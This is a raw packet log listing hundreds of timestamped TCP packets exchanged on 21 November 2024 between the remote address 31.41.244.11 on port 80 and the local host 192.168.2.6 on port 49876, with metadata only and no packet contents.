Nov 21, 2024 14:11:16.312186956 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.312201977 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.312227011 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.312242985 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.312968969 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.313013077 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.313050985 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.313067913 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.313102961 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.313122988 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.313874960 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.313941002 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.313945055 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.313956976 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.314002037 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.314779997 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.314826965 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.315139055 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.315156937 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.315172911 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.315182924 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.315206051 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.315227985 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.315990925 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.316037893 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.316054106 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.316099882 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.317128897 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.317179918 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.317199945 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.317214966 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.317238092 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.317253113 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.317852020 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.317903996 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.317907095 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.317924976 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.317998886 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.318583965 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.318638086 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.318655968 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.318695068 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.319434881 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.319490910 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.319505930 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.319508076 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.319535971 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.319562912 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.320494890 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.320545912 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.320547104 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.320563078 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.320602894 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.321191072 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.321261883 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.321268082 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.321285009 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.321309090 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.321325064 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.322128057 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.322173119 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.322212934 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.322227955 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.322323084 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.322984934 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.323012114 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.323029041 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.323064089 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.323132038 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.323173046 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.323879004 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.323929071 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.323967934 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.323983908 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.324028969 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.324729919 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.324791908 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.324816942 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.324831963 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.324860096 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.324892998 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.496181965 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.496198893 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.496215105 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.496248007 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.496289015 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.496505976 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.496566057 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.496592999 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.496602058 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.496618032 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.496644020 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.497612953 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.497637033 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.497659922 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.497674942 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.497833967 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.497879028 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.497879982 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.497895956 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.497916937 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.497932911 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.498545885 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.498608112 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.498622894 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.498630047 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.498645067 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.498661995 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.499459028 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.499505997 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.499583960 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.499599934 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.499629021 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.499645948 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.500320911 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.500365973 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.500374079 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.500382900 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.500401974 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.500428915 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.501221895 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.501272917 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.501282930 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.501297951 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.501324892 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.501339912 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.502227068 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.502243042 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.502260923 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.502274036 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.502289057 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.502306938 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.502944946 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.502988100 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.503002882 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.503012896 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.503029108 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.503045082 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.503844976 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.503902912 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.503922939 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.503938913 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.503969908 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.503983974 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.504766941 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.504803896 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.504820108 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.504848957 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.504879951 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.505739927 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.505784988 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.505800962 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.505801916 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.505822897 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.505836964 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.506544113 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.506558895 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.506575108 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.506593943 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.506611109 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.507342100 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.507386923 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.507391930 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.507406950 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.507427931 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.507442951 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.508270025 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.508327007 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.508341074 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.508382082 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.508411884 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.509181023 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.509232044 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.509238958 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.509248018 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.509278059 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.509296894 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.510303020 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.510343075 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.510358095 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.510359049 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.510409117 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.511136055 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.511212111 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.511229038 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.511245012 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.511269093 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.511281967 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.511764050 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.511810064 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.511842966 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.511858940 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.511887074 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.511902094 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.512619972 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.512666941 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.512670040 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.512695074 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.512716055 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.512737036 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.513531923 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.513602972 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.513605118 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.513619900 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.513653994 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.513686895 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.514364958 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.514390945 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.514406919 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.514420986 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.514436007 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.514492035 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.515249968 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.515295029 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.515299082 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.515356064 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.515402079 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.515446901 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.516134977 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.516175985 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.516361952 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.516408920 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.516460896 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.516478062 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.516504049 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.516519070 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.517290115 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.517316103 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.517329931 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.517337084 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.517359972 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.517370939 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.518191099 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.518270969 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.518285990 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.518299103 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.518322945 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.518322945 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.519278049 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.519330978 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.519357920 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.519375086 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.519402981 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.519418955 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.519936085 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.519984007 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.519989014 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.520006895 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.520037889 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.520054102 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.520782948 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.520839930 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.520840883 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.520855904 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.520881891 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.520909071 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.521677971 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.521725893 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.521733046 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.521749020 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.521775007 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.521805048 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.522551060 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.522594929 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.522607088 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.522624969 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.522666931 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.523425102 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.523472071 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.523479939 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.523494959 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.523531914 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.523549080 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.524306059 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.524352074 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.524363995 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.524379969 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.524405003 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.524420977 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.525281906 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.525327921 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.525331974 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.525347948 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.525368929 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.525384903 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.526531935 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.526626110 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.526716948 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.526732922 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.526762009 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.526777983 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.697690010 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.697729111 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.697743893 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.697746992 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.697770119 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.697777987 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.697999001 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.698041916 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.698060036 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.698076963 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.698103905 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.698117971 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.698910952 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.699076891 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.699104071 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.699121952 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.699136972 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.699151993 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.699178934 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.699191093 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.699949026 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.700009108 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.700047970 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.700063944 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.700103998 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.700808048 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.700854063 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.700885057 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.700901031 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.700941086 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.701721907 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.701769114 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.701777935 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.701793909 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.701816082 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.701847076 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.702600002 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.702626944 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.702641010 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.702646017 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.702661037 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.702687025 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.703455925 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.703495979 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.703516960 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.703532934 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.703583002 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.704386950 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.704449892 CET	80	49876	31.41.244.11	192.168.2.6
